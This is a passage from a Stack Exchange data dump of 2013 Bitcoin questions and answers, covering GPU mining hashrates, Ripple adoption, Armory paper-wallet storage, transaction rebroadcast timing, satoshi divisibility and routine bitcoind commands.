pools you need) It will pick up on the erupters and is ready for BFL rigs too! Hot plugging works well also!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jkKA0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Its not running full speed because I have a slight power issue after adding 7 more. Need a new PSU&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2013-09-05T22:05:04.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13146" PostTypeId="1" CreationDate="2013-09-06T01:05:11.910" Score="2" ViewCount="4032" Body="&lt;p&gt;So, I have this nvidia geforce fx5200 d256m gpu in an old box, I want to start it out as a no-cost minig rig(laugh all you want, I'm starting base and hoping to spend zero out of the pocket). I wanted to know what the expected hashrate would be, and what kind of settings I should set it up to use with in cgminer. &#xA;Remember people, the question is about the card, not my ideas of what I'm doing. Also this is planing to be done in my basement, which is always cold. So airflow/temp isn't an issue either. It's mining &lt;strong&gt;&lt;em&gt;litecoins&lt;/em&gt;&lt;/strong&gt; NOT bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="6652" LastActivityDate="2013-12-03T02:37:38.037" Title="Mining on Nvidia(i know it's bad, but it's a start)" Tags="|litecoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13147" PostTypeId="2" ParentId="13142" CreationDate="2013-09-06T01:25:30.927" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It is hard to make out an early adopter advantage for users, except perhaps scoring a few Ripples to spend for free. After spending that money, there seems little advantage for users to stick around.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's probably true for people who have no real urgent use case. But what about users who need to make international payments such as remittances? But largely I agree with you, pursuing users directly is not a good adoption strategy this early.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There seems to be mostly a first mover advantage for businesses (see 1, 2). However, for most businesses this should be a chicken-egg problem, without customers there is no interest to implement, without usage opportunities there is no interest for customers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The good thing about chicken-egg problems is that if you get one, you get the other for free. So when adoption is blocked by a chicken-egg problem, you pick the side of the problem that's easier to solve and work on that. Then the problem turns into something that drives adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the wedge into that problem? Well, businesses can accept payments through Ripple whether or not their customers send payments through Ripple &lt;em&gt;directly&lt;/em&gt;, and customers can make payments through Ripple whether or not the businesses accept Ripple payments &lt;em&gt;directly&lt;/em&gt;. The obvious example is the Bitcoin outbound bridge which lets Ripple users make payments to merchants that accept Bitcoins whether or not those merchants adopt Ripple. Similar bridges can be constructed in the inbound direction and from conventional payment systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous adoption strategies that don't require getting users directly but where Ripple is used as a &quot;back end&quot; payment rail and remains invisible to users.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is no strong incentive to do what is good for the network: While inactive users in the bitcoin network don't matter, should users in Ripple lose interest, their outstanding IOUs lose worth. So, not only do I have to trust that somebody is good for their money, but also that he will stay interested.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Community/social credit is not expected to be a realistic use case for Ripple for some time. It's reasonable to expect that the initial adoption will be driven primarily by assets issued by gateways, possibly even by business-to-business transactions using Ripple as a back end to provide irreversible, high-speed, cross-currency settlements.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-09-06T01:25:30.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13148" PostTypeId="2" ParentId="12047" CreationDate="2013-09-06T08:36:24.033" Score="-1" Body="&lt;p&gt;Nobody knows the future difficulty, but the current path has it increasing 20% or more every ten days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If profitability is revenue less the cost of inputs (electricity), then current ASICs should be profitable for quite some time.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem in making a call whether that profit is sufficient has to do with the cost of the hardware.  If the hardware becomes obsolete in six months, then it possibly an investment in mining hardware ends up being a money-losing venture.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-06T08:36:24.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13149" PostTypeId="2" ParentId="12970" CreationDate="2013-09-06T08:56:28.790" Score="1" Body="&lt;p&gt;In the U.S., FinCEN has specific rules regarding money transmitter laws for those providing money services.  Users who simply patronize a money service are almost never considered money transmitters or providers of a money service.  So, in your example, the answer is likely to be no -- no, a withdrawal from one service and a deposit to another would not likely cause you to need to report the transaction to the government. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as taxes, that too is jurisdiction-specific.  In the U.S., capital gains taxes may apply however in your example there was no gain so there would then likely be no need to report the transaction on the tax forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I am not a tax advisor.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-06T08:56:28.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13150" PostTypeId="2" ParentId="13146" CreationDate="2013-09-06T08:59:51.933" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://litecoin.info/Mining_Hardware_Comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a comparison chart.&lt;/a&gt;  Your card is not even on there. So I assume its going to be about 5khs if you lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you sell that card even for five bucks and invest in AMD card with loads of cuda cores. Its obvious you don't want to spend lots of money but for 50 bucks you can find a decent card on eBay or something. That will give you allot more kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with GFX mining is that electricity is really expensive. If you dont have to pay for it or you are within a green area (Hydro plants, Solar Power) and its &quot;dirt&quot; cheap then it is still worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with your experiment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;FYI - I would suggest looking into ASIC Erupter for ultra low power BITCOIN miners.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9PmSI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Or you sell everything and stack the pennies up order one of these 5GHs &quot;Jalapeno&quot; miners  from Butterfly LABS. They can be &quot;jail borken&quot; and even go to 9ghs if you add extra fans.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mwb2n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;I am in no way affiliated with any of these companies. I just use their stuff and I know it works and brings me money in. No BS!&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="6655" LastActivityDate="2013-09-06T08:59:51.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13151" PostTypeId="2" ParentId="13105" CreationDate="2013-09-06T10:02:22.340" Score="4" Body="&lt;p&gt;Bitcoin Armoury is the best thing out there for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ge3sd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What you want to do is create a new wallet with armoury, create a receiving address and send your BTC there. &lt;/li&gt;&#xA;&lt;li&gt;The best thing is you do not need to even be connected to the network, synchronized or anything. Armoury can run offline in the dungeons far underneath the earth (like your cellar :) )&lt;/li&gt;&#xA;&lt;li&gt;You then create a paper backup and print it out 2 or three times. Go and store it in your bank, in your important documents and at your mums house.&lt;/li&gt;&#xA;&lt;li&gt;Delete armoury. (Yes, but make sure you have your paper backups stored safely!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your coins will hang in limbo (on the network) without any transaction history or block chain tracking. COmpletely anonymous and unclaimed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now- You might feel like you just threw your coins into thin air and have this uneasy feeling of you will never get your coins back! I know I did. So this is what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I followed the whole process I mentioned above. Created a test wallet. Went to another computer somewhere else and did the same, except I imported the wallet from the paper backup. SYnchronised to the bitcoin network. Viola - The coins appeared in the transaction blocks and in my wallet ready to spend&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is also good for managing many online wallets at the same time. One for savings, possibly donations from your websites or blogs, and a personal one, and even offline unsynchronized for the long term anonymous storing of coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As long as the bitcoin network will be running you will never lose offline transactions. Just make sure to keep your paper backup in atleast 3 secure seperate place- and no. Do not store it on picasa albums or gdrive.. keep it offline in a bank, locker and at your nans house under the bed, laminate it, put it in a box and bury it in your back yard next to the tree house.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2013-09-06T10:02:22.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13152" PostTypeId="2" ParentId="1080" CreationDate="2013-09-06T10:02:59.030" Score="0" Body="&lt;p&gt;Bitcoin Armoury is the best thing out there for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ge3sd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What you want to do is create a new wallet with armoury, create a receiving address and send your BTC there. &lt;/li&gt;&#xA;&lt;li&gt;The best thing is you do not need to even be connected to the network, synchronized or anything. Armoury can run offline in the dungeons far underneath the earth (like your cellar :) )&lt;/li&gt;&#xA;&lt;li&gt;You then create a paper backup and print it out 2 or three times. Go and store it in your bank, in your important documents and at your mums house.&lt;/li&gt;&#xA;&lt;li&gt;Delete armoury. (Yes, but make sure you have your paper backups stored safely!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your coins will hang in limbo (on the network) without any transaction history or block chain tracking. COmpletely anonymous and unclaimed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now- You might feel like you just threw your coins into thin air and have this uneasy feeling of you will never get your coins back! I know I did. So this is what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I followed the whole process I mentioned above. Created a test wallet. Went to another computer somewhere else and did the same, except I imported the wallet from the paper backup. SYnchronised to the bitcoin network. Viola - The coins appeared in the transaction blocks and in my wallet ready to spend&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is also good for managing many online wallets at the same time. One for savings, possibly donations from your websites or blogs, and a personal one, and even offline unsynchronized for the long term anonymous storing of coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As long as the bitcoin network will be running you will never lose offline transactions. Just make sure to keep your paper backup in atleast 3 secure seperate place- and no. Do not store it on picasa albums or gdrive.. keep it offline in a bank, locker and at your nans house under the bed, laminate it, put it in a box and bury it in your back yard next to the tree house.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2013-09-06T10:02:59.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13155" PostTypeId="1" CreationDate="2013-09-06T16:43:08.707" Score="1" ViewCount="266" Body="&lt;p&gt;I see in the sourcecode this two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Do this infrequently and randomly to avoid giving away&#xA;// that these are our transactions.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the method ResendWalletTransactions. Why is this necessary? If a client send out his transactions every 30 minutes and the receiver put these transactions in his own queue and send this transaction list every 30 minutes to all his neigbors I don't see why someone should recover the own transactions of the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full beginning of the method is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void CWallet::ResendWalletTransactions()&#xA;{&#xA;    // Do this infrequently and randomly to avoid giving away&#xA;    // that these are our transactions.&#xA;    static int64 nNextTime;&#xA;    if (GetTime() &amp;lt; nNextTime)&#xA;        return;&#xA;    bool fFirst = (nNextTime == 0);&#xA;    nNextTime = GetTime() + GetRand(30 * 60);&#xA;    if (fFirst)&#xA;        return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6659" LastEditorUserId="5406" LastEditDate="2019-04-08T20:40:12.630" LastActivityDate="2019-04-08T20:40:12.630" Title="Why are Transactions sending out randomly?" Tags="|transactions|relay|broadcast|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13156" PostTypeId="1" CreationDate="2013-09-06T16:46:33.513" Score="3" ViewCount="203" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1lubl1/wired_oped_worries_that_elliptic_curve/cc2vhos&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1lubl1/wired_oped_worries_that_elliptic_curve/cc2vhos&lt;/a&gt; suggests that key lengths &amp;lt; 500 bits are no longer considered secure from the NSA.  What key length is Ripple using?&lt;/p&gt;&#xA;" OwnerUserId="6660" LastActivityDate="2013-09-09T20:13:44.597" Title="What is the ECC key length for OpenCoin's implementation of Ripple?" Tags="|ripple|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13157" PostTypeId="1" AcceptedAnswerId="13159" CreationDate="2013-09-06T17:27:18.723" Score="5" ViewCount="11606" Body="&lt;p&gt;I come from a programming background and I am trying to figure out how Bitcoin allows for divisibility.  An example using high level code would also be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the high level basics of transactions (&lt;a href=&quot;http://www.zerohedge.com/sites/default/files/images/user3303/imageroot/2013/05/20130512_BTC.jpg&quot; rel=&quot;noreferrer&quot; title=&quot;Bitcoin Transaction Diagram&quot;&gt;Bitcoin Transaction Diagram&lt;/a&gt;), but I am interested in divisibility specifically.  &lt;/p&gt;&#xA;" OwnerUserId="6661" LastActivityDate="2018-03-26T16:44:11.800" Title="How does Bitcoin divisibility work?" Tags="|transactions|divisibility|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13158" PostTypeId="2" ParentId="12752" CreationDate="2013-09-06T18:16:14.423" Score="0" Body="&lt;p&gt;In a financial world, no broker offers his own matching engine to execute the orders of his client with another trader, all trades have to go through echanges (except FOREX market). They typically contract the exchange or another data feed vendor. By doing this they transfer the risk to the data vendor that if anything happens with the data feed, they are not in charge.&lt;/p&gt;&#xA;" OwnerUserId="5964" LastActivityDate="2013-09-06T18:16:14.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13159" PostTypeId="2" ParentId="13157" CreationDate="2013-09-06T18:28:24.370" Score="8" Body="&lt;p&gt;A bitcoin is divisible to the eighth decimal. The smallest portion of Bitcoin has its own name: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/114/what-is-a-satoshi&quot;&gt;satoshi&lt;/a&gt;, whereas 1 BTC = 10^8 satoshis = 100,000,000 satoshis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be completely correct, while in popular conversation the bitcoin is the predominant currency unit, in realitas the protocol uses satoshi. You can see this when looking at raw transactions or the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you send a Bitcoin transaction, the inputs are destroyed and new outputs are created. Essentially, what happens with Bitcoin works like this: Imagine you are paying for a $5 ice cream with a $10 bill, and the $10 bill is destroyed and replaced by two $5 bills, of which you get one $5 bill and one $5 bill goes to the ice cream vendor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not able to deduce what you are trying to get code for, but if you want to split up bitcoins for transactions you might be looking for more information on how to create &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;raw transactions&lt;/a&gt;, as dannypaz pointed out in the comments, the Bitcoin Wiki's page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;transactions&lt;/a&gt; may also be illustrative. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-03-26T16:44:11.800" LastActivityDate="2018-03-26T16:44:11.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13161" PostTypeId="1" CreationDate="2013-09-06T19:54:12.527" Score="4" ViewCount="265920" Body="&lt;p&gt;I am quite new and wondering how long it would take with a single GTX 680? EDIT: I am using a pool.&lt;/p&gt;&#xA;" OwnerUserId="6663" LastEditorUserId="5406" LastEditDate="2016-03-10T09:09:16.487" LastActivityDate="2017-10-05T12:24:15.970" Title="How long does it usually take to mine a bitcoin block?" Tags="|mining-profitability|gpu-mining|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13162" PostTypeId="2" ParentId="13161" CreationDate="2013-09-06T20:22:35.673" Score="12" Body="&lt;p&gt;For solo mining with a single GTX 680, which will produce 120 Mhashes/s, you would expect to find one block approximately every 98 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the current difficulty, solo mining is inadvisable under practically all circumstances.  Pooled mining should be done instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, mining utilizing graphics cards is rapidly losing viability with the release of FPGA and ASIC-based mining hardware, which operates at far greater efficiency.  Unless you have exceptionally cheap electricity or have a use for the heat output from the graphics card(s) (e.g. heating your house for winter), graphics card mining is unlikely to be profitable for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, mining with NVIDIA graphics cards has pretty much never been worthwhile, as they are far slower and less efficient than comparable ATI/AMD hardware, conflating the above issues with graphics card mining.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-09-06T20:22:35.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13163" PostTypeId="2" ParentId="13161" CreationDate="2013-09-06T20:24:17.527" Score="1" Body="&lt;p&gt;1) The time where GPU mining was financially profitable has been over for several months already. (Unless you don't pay for your electricity.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Nvidia Cards are even less efficient than AMD cards for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Solo-Mining is even more unlikely to succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider mining Litecoin or Altcoins, but even there the competition is slowly ramping up.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-06T20:24:17.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13164" PostTypeId="2" ParentId="13157" CreationDate="2013-09-06T20:52:06.813" Score="2" Body="&lt;p&gt;All transactions are actually stored and transmitted in satoshis (one hundred millionths of a bitcoin or bitcoin × 10&lt;sup&gt;8&lt;/sup&gt;). So really, it is not divisibility, as much as it is converted by multiplying in the UI. It's always satoshis, but shown as various bigger units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you divide the the number of satoshis by 100m you get the value in bitcoin. If instead of dividing by 100m, you divide by 100k, you get mBTC (millibitcoin), if you divide by 100 you get μBTC (microbitcoin).&lt;/p&gt;&#xA;" OwnerUserId="6664" LastEditorUserId="5406" LastEditDate="2017-12-25T06:19:32.417" LastActivityDate="2017-12-25T06:19:32.417" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13165" PostTypeId="1" AcceptedAnswerId="13190" CreationDate="2013-09-07T03:07:30.910" Score="17" ViewCount="11925" Body="&lt;p&gt;I have a version of bitcoind on my server and I can't remember which version it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out what version my bitcoind is ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;code&gt;./bitcoind -version&lt;/code&gt; ..or such&lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2021-12-31T08:51:59.377" Title="Check which bitcoind version I am running" Tags="|bitcoind|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13166" PostTypeId="1" AcceptedAnswerId="13173" CreationDate="2013-09-07T03:18:38.253" Score="2" ViewCount="884" Body="&lt;p&gt;I have noticed sometimes &lt;code&gt;./bitcoind validateaddress [addr]&lt;/code&gt; produces an extended output, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind validateaddress mjYvqa4tC4oEC2ATQrcJh9Ux3CLcszW5J9&#xA;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;mjYvqa4tC4oEC2ATQrcJh9Ux3CLcszW5J9&quot;,&#xA;    &quot;ismine&quot; : true,&#xA;    &quot;isscript&quot; : false,&#xA;    &quot;pubkey&quot; : &quot;03ab4a26a0d577bb4dd5c46b49c1dd19a30a582a5b317f952e490eaac86564fdc0&quot;,&#xA;    &quot;iscompressed&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And other times, when I validate and address it looks like this: (why?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind validateaddress n3t74UDtWZtBSVbF5DLxm4ViFiU7rRY5gm&#xA;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;n3t74UDtWZtBSVbF5DLxm4ViFiU7rRY5gm&quot;,&#xA;    &quot;ismine&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4725" LastEditorUserId="4725" LastEditDate="2013-09-07T20:45:48.647" LastActivityDate="2013-09-07T20:45:48.647" Title="bitcoind validateaddress extended info.. somtimes there, somtimes not, why?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13167" PostTypeId="1" CreationDate="2013-09-07T04:32:57.650" Score="0" ViewCount="611" Body="&lt;p&gt;I'm interested in using a pogoplug to run bitcoin. From my understanding, I should be able to connect to the pogoplug from another device (RasPi with AM BEs) and mine on my own. I'm having trouble figuring out what I'm doing wrong -- I've got bitcoin cloned to the plug from github, but in following what it seems others have done, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.unix USE_PNP=-USE_IPV6=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make: *** No rule to make target `makefile.unix'.  Stop.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6668" LastActivityDate="2014-08-05T13:43:49.607" Title="Bitcoin and ArchLinux on a Pogoplug" Tags="|network|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13169" PostTypeId="1" AcceptedAnswerId="13307" CreationDate="2013-09-07T09:25:22.620" Score="5" ViewCount="7177" Body="&lt;p&gt;Which protocols are there for mining clients to communicate with mining pool servers? How do they compare?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-03-14T16:58:19.593" LastActivityDate="2016-03-14T16:58:19.593" Title="Protocols for use between mining clients and mining pool servers" Tags="|mining-pools|protocol|getwork|stratum|getblocktemplate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13170" PostTypeId="2" ParentId="13169" CreationDate="2013-09-07T14:42:48.357" Score="0" Body="&lt;p&gt;There's two major protocols, getwork and Stratum. There's a very good comparison on the &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;nofollow&quot;&gt;Stratum introduction page&lt;/a&gt;. Some miners can also use &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;Get Block Template (GBT)&lt;/a&gt;, which allows them to both pool mine and to choose their own transaction content. Not many pools support this, choosing to only offer Stratum instead. &lt;/p&gt;&#xA;" OwnerUserId="6672" LastActivityDate="2013-09-07T14:42:48.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13171" PostTypeId="2" ParentId="13167" CreationDate="2013-09-07T14:46:46.470" Score="1" Body="&lt;p&gt;Bitcoin now (as of a few hours ago) uses autotools to generate makefiles. You'll need to run &lt;code&gt;./autogen.sh&lt;/code&gt; first, then &lt;code&gt;./configure&lt;/code&gt;, then &lt;code&gt;make&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="6672" LastActivityDate="2013-09-07T14:46:46.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13172" PostTypeId="1" CreationDate="2013-09-07T14:57:15.543" Score="3" ViewCount="187" Body="&lt;p&gt;Does anyone know where to find a list of attorneys well-versed in Bitcoin?  A standard Google search has yielded decent results, but just wondering if this already exists somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, does anyone know of attorneys in the Chicago area that work in the Bitcoin related areas.&lt;/p&gt;&#xA;" OwnerUserId="6673" LastEditorUserId="132" LastEditDate="2013-09-07T20:48:46.153" LastActivityDate="2013-10-10T03:36:09.267" Title="Where to find a list of Bitcoin attorneys?" Tags="|legal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13173" PostTypeId="2" ParentId="13166" CreationDate="2013-09-07T15:17:14.980" Score="0" Body="&lt;p&gt;Note the difference: one has &quot;ismine&quot; true and in the other it's false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't specifically checked, but I presume that &quot;ismine&quot; indicates whether or not the address is one belonging to you (and whose key is in your wallet).  If it is your address, then bitcoind is able to report the associated public key, and various other details about how the key is stored and notes associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is not yours, then since the address is only a hash of a public key, there is no way for bitcoind to know what the public key itself is, nor any other information about how the owner is storing the key, etc; that information is known only to the key's owner.  So you don't see these fields in the output.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-09-07T15:17:14.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13174" PostTypeId="1" AcceptedAnswerId="13184" CreationDate="2013-09-07T16:20:52.177" Score="5" ViewCount="9076" Body="&lt;p&gt;Until today, I thought all addresses must start with &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, behold &lt;a href=&quot;https://blockchain.info/address/3M8XGFBKwkf7miBzpkU3x2DoWwAVrD1mhk&quot; rel=&quot;noreferrer&quot;&gt;3M8XGFBKwkf7miBzpkU3x2DoWwAVrD1mhk&lt;/a&gt;, which is a multi-sig escrow address &lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.msg2983911#msg2983911&quot; rel=&quot;noreferrer&quot;&gt;created&lt;/a&gt; to hold the bounty for the development of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249&quot; rel=&quot;noreferrer&quot;&gt;CoinJoin&lt;/a&gt;. This is both the first address I observed that doesn't start with &lt;code&gt;1&lt;/code&gt;, and the first multi-sig address that I've seen in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other possible prefixes? What characterizes the different prefixes? (E.g. are all addresses that start with a &lt;code&gt;3&lt;/code&gt; multisig addresses? Are there multisig addresses that do not start with a &lt;code&gt;3&lt;/code&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2018-11-16T23:22:57.860" Title="What are the different prefixes of Bitcoin addresses?" Tags="|address|multi-signature|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13175" PostTypeId="1" CreationDate="2013-09-07T16:27:07.920" Score="2" ViewCount="34466" Body="&lt;p&gt;Completely new to this. Bought some Bitcoins from Bitcoin.de and received confirmation that the trade has been completed and they show me my balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloaded a wallet from Bitcoin-QT. That's fine. Now, how do I get the Bitcoins I've bought into the wallet I've downloaded? And how do I then use them to buy something online?&lt;/p&gt;&#xA;" OwnerUserId="6674" LastEditorUserId="132" LastEditDate="2013-09-07T20:48:08.010" LastActivityDate="2019-06-08T11:52:06.543" Title="How to move bitcoins from an exchange into my wallet?" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
